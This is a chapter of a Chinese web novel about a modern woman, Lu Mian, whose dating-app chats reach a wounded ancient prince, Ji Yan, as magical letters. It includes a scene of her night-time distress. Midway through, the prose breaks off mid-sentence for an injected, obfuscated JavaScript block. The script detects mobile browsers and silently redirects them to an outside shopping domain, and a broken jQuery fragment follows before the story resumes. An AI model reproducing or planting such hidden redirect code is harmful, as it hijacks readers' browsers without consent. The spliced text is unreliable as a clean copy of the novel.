犹豫了会儿,鹿眠微微噘嘴吹了口气,额前刘海飘起离开视线,随即悠悠飘落下来。

    她拿起手机,没点开语音,而是手一前一后放在透明手机壳上端稳手机,连带摆正了坐姿。

    对26拼音全键再熟悉不过,两根拇指合作,抬起一根,另一根就落下。

    很快对话框打出来一堆字。

    她又担心说话直白,让人心生不适,最后删的只剩下“谢谢解答”四个字,点击发送。

    不喜欢听,那就不听!

    鹿眠正感慨自己是个大聪明。

    哪曾想刚往后靠过去,办公椅的靠背螺丝掉在了地上,半个靠背塌陷下去,惯性使然,办公椅的轮子丝滑滑出去。

    完全来不及跳下去,鹿眠的腿磕碰到桌角。

    “嘶……”

    消息提示音不合时宜地响了,她缓了缓,捂着腿单手抓手机。

    一抓一个准,触碰到了语音条。

    ——“呵~你等食米田共,亦是赶不上食温热的!”[注1]

    男声虚弱,不过嗓调醇厚,很好听。

    稍稍掺杂着的那是……犟?

    是犟吗?

    鹿眠拿不准,重点开语音。

    对味儿了,小说男主的嗓音就该按这个标准来。

    鹿眠极力克制了一番,才没把“你声音好好听,去当男声优肯定很赚钱”发过去。

    没忍住又听了几遍男人的声音。

    认真听,看情况是在训斥人时不小心点到了语音按键,还能听到别人的声音,说了个什么“爷”?

    总不可能是小说里有权势的地头蛇人物,出场属下纷纷恭敬地喊“七爷”、“九爷”,搁现实肯定就是爷爷咯,鹿眠推测。

    真是可惜了。

    异时空。

    古色古香的客栈二楼角落那房。

    榻上被帛卷掀扬起个角,重伤之人不在床上,半撑身体伏案,案桌前站了一排束袖劲装的随从。

    随从个个低头,不敢发出多余声响。

    季衍眉心蹙成一团,目光凝在凭空冒出的纸张上。

    【绵羊】:你都当爷爷了?

    【绵羊】:大爷,作为小辈,我不反对您追求爱情,但好歹填写真实信息啊?您这种诈骗行为非常不道德,您还是改一下信息,这个APP需使用真实信息才能匹配到真爱,XX/一坨黑色的不知名表情包.

    【绵羊】:对了,大爷,您记得与我解除绑定。

    看完信件,季衍蓦地拍桌,半露在外缠着一圈又一圈纱带的伤口渗出暗红血迹。

    吓得一排随从同时抖动,打寒颤。

    程冲身为季衍的贴身侍卫,压着胆颤说:“王爷,您重伤在身,早些歇息的好。”

    郎中说他们王爷少说也要三日才能苏醒,谁知郎中刚离去,王爷便醒来,还命人拿来了笔纸墨。

    季衍不答程冲的话,反问:“本王貌老?形似大爷?”

    程冲斜眸偷偷看了眼同为贴身侍卫的丁武,半晌没出声。

    “本王问你,你看丁武作甚?”季衍说。

    程冲吞吞唾沫,回正眼神毕恭毕敬地说:“王爷年初行冠礼,正值意气风发之年……”

    没了后话,程冲没读过几本书,说不下去了,惹得季衍恼意更甚。

    季衍抬起未缠纱带的那只手臂,将桌上的信件推出去桌前边缘,低低说了一个字,“读。”

    程冲蹑足靠近,轻拿起信件,信纸上空无一字,翻转看了正反面都没有看到一个字,翻下一张信纸,其他信纸皆没字迹。

    翻到一张带字的,程冲知道,是他们王爷的字迹,念了起来:“造纸之术,经……”

    季衍打断,“这张是本王所写,让你读别的。”

    程冲疑惑,双手捧着信纸呈给季衍,压低头说:“王爷,其他信纸上未存在墨迹。”

    季衍没了耐心,抽回纸张,翻找出【绵羊】的信件,压平摊开,食指在信纸上敲了敲,示意程冲读这张。

    旁人视角看不到任何字迹,季衍所指就是白花花的一张纸。

    程冲又看了丁武一眼,不断使眼色。

    莫不是王爷因他们营救不及时,要降罪于他们。

    丁武见状抱拳上前,说:“王爷,劳累过度不利于伤势恢复,您当务之急是休养身上的伤。”

    季衍察觉到了不对劲,问丁武:“你也不曾瞧见纸上的字?”

    丁武说:“王爷,信纸上并无字迹。”

    诡异的事情接连发生,季衍尚未梳理清楚今日之事。

    在山上之时,一道白光劈来,意识当即陷入混沌,那等感觉离死极其接近,身体轻盈得似是要飘飞去云上。

    以为要死了,身体又沉重跌下,活了过来。

    而现在,他确定信件上的内容唯他一人可见。

    身上的伤不轻,按往日需休个大半月方才能下榻随意走动。

    但这次,受伤到现在不过两个时辰有余,浑身竟又蓄满力量。

    季衍别过眼,目光直落在嗡嗡唤醒他的玉佩上。

    不管是在山上还是刚才,它都在有意唤醒他。

    玉佩周围又平白出现一封信件。

    【绵羊】:大爷,您还在吗?我急需谈场恋爱,您行行好,点一下解绑同意申请。

    季衍没理会。

    素不相识,上来就喊你大爷,而你偏偏是年轻人,搁谁谁会高兴?

    “扔了。”季衍语气淡淡,听不出情绪。

    隔空抛玉佩给程冲,程冲眼疾手快接住。

    鬼神论?

    写成话本子说不定能唬唬人。

    季衍自幼饱读诗书与史册,瞧见用古怪话术问出秦朝使用宣纸的招笑之语,惹得他翻身下榻执笔纠正。

    若世间真存鬼神,总不该是一个未苦读过古册、见识粗鄙的【绵羊】。

    他补了一句,“本王遭雷劈一事,外传者……你等应当知晓是何种下场!”

    不强调,随从们也没胆子将找到季衍时,季衍脸黑成炭色且头发乱成鸡圈的事传出去。

    在宫中,某陪读郎私底下同玩伴提了句季衍的糗事,翌日再次见陪读郎,陪读郎已然成了小太监。

    今日之事涉及天煞和糗事,是万万不能传出去的。

    程冲等人领命,关心季衍伤势被呵斥赶了出去。

    季衍强忍皮肤撕扯的痛重新包扎腰腹伤口,额间、脸侧渗出的汗珠凝聚成豆子状,滚落。

    微弱烛光打在紧绷的下颚处,昏迷着便不计较,醒着绝对叫人瞧不见狼狈。

    这是季衍的行事做派。

    ……

    鹿眠快把手机快刷新烂了,【敛之】的回应终止在“不必言谢”,之后的消息一条没回。

    老大爷晚上熬不住睡了?

    网恋谈着谈着线下奔赴,看对眼儿的例子不少。

    多的是线下奔赴,对方玩照骗的。

    前几年新闻里报道过一个男的,伪造成女人,在线上谈了个小帅,伪装者的那小子哟嗓子夹的能滴出水来,真正面基了,小帅还不愿相信他每天喊的宝宝是个男子。

    网上的东西信一半,另一边得存满了警惕去斟酌。

    晚上搞了这一出,注定难以入眠。

    鹿眠洗漱好躺床上,尝试强制让大脑关机,失败。

    只

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705532|208310||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    愿大爷是真睡了,要是半夜被他老伴儿查到偷摸搞网恋把手机上缴了,恐怕【绵羊】要与【敛之】绑定一辈子。

    “啊、啊……啊!”

    鹿眠吼了一嗓子,抱着被子从床头滚到床尾,不死心地发消息轰炸【敛之】。

    【绵羊】:凌晨1点,大爷,我真不是骚扰您,只是想让您看见消息,您睡觉的时候手机应该会开静音吧?

    没回。

    【绵羊】:听说人老了睡眠少,凌晨2点了,我没睡着恐怕也老了。

    没回。

    鹿眠蜷缩在床角,看着天花板发呆,精神的比喝了十杯冰美式还亢奋。情绪来回切换,难受,明明呼吸没有障碍,心肺像是被巨石压住,大口呼吸,想新鲜空气灌入肺腑。

    手机电量耗尽,搁床头柜上的墙插旁充电。

    她受不住了,拉开床头柜翻,刚摸到药瓶,“老大爷”专属的提示音传入鹿眠耳朵里,瓶子被塞了回去,改去摸手机。

    【敛之】:你等是鬼怪,亦或是……

    【敛之】:神仙?

    鹿眠抿了抿唇,后知后觉给【敛之】发了数不清的消息,将他当成了情绪发泄垃圾桶,往上划,消息看不到尽头,和网络骚扰狂没两样。

    她钻进被子里,用被子罩住头,恨不得把自己揉成个超小的团缩在床角。

    【绵羊】:抱歉,大爷您就当我是疯子吧。

    【绵羊】:我真的控制不住情绪,现在感觉自己要死掉了,大爷您就当个笑话看,我以后应该不会再骚扰您了。

    玉佩上定存有妖术,扔一晚上也没能扔掉,它总会以季衍意想不到的方式回来。

    不回信,玉佩嗡嗡响着不会停,纯纯折磨他。

    季衍写着类似于米田共之类骂人于无形的话术,看到新信件,手顿住。

    软毫着墨点在纸上糊成了一个点,墨水渗透纸页,纸最后被揉成了一团。

    他铺开白纸,着墨重写。

    【敛之】:生死无界,相信生才能生,本王……

    笔停了片刻,“本王”两字糊成黑坨。

    【敛之】:你可还在?

    瞧见回信说“在”,季衍思量后写下的文字带着一股柔和力,直击人内心深处。

    【敛之】:当下你要做的是躺平身子,舒展开四肢,而后闭眼歇息。

    【绵羊】:大爷,我睡不着,你的声音很好听,能不能和我说说话?

    鹿眠的意思是打个语音通话。

    【敛之】:今乃我弱冠之年,我尚未娶妻,离当祖父还需几年光阴,今日觉少源于伤痛而非年纪。

    和烦人的玉佩。

    后半句,季衍没写进去。

    信息极多,逐一看了消息,才能注意到夹在众多消息里老人觉少的那句。

    鹿眠看着屏幕上弱冠年的字眼,20岁的弟弟?

    她发现今夜的她有多无理取闹了,不断打字道歉。

    【绵羊】:你受伤了?你伤口疼的话,要早点休息。嘶……不早了,今天确实是我失礼了,抱歉。

    【敛之】:好生歇息,被夜控了心不合算,白日再聊。

    鹿眠息屏前看到【敛之】最后的消息。明天还能继续聊吗?应该是客套话,对方估计早给她当成精神病了。

    ……

    ……

    季衍等了一刻钟,玉佩没再发出嗡嗡声,给他写信的人大抵睡下了。

    他并未睡下。

    一是伤口疼。

    二是反复钻研掌心里的玉佩,天露异象将他和另一个人捆绑在一起,这种羁绊不知持续多久。

    而他并不喜欢被莫名奇妙捆绑的感觉。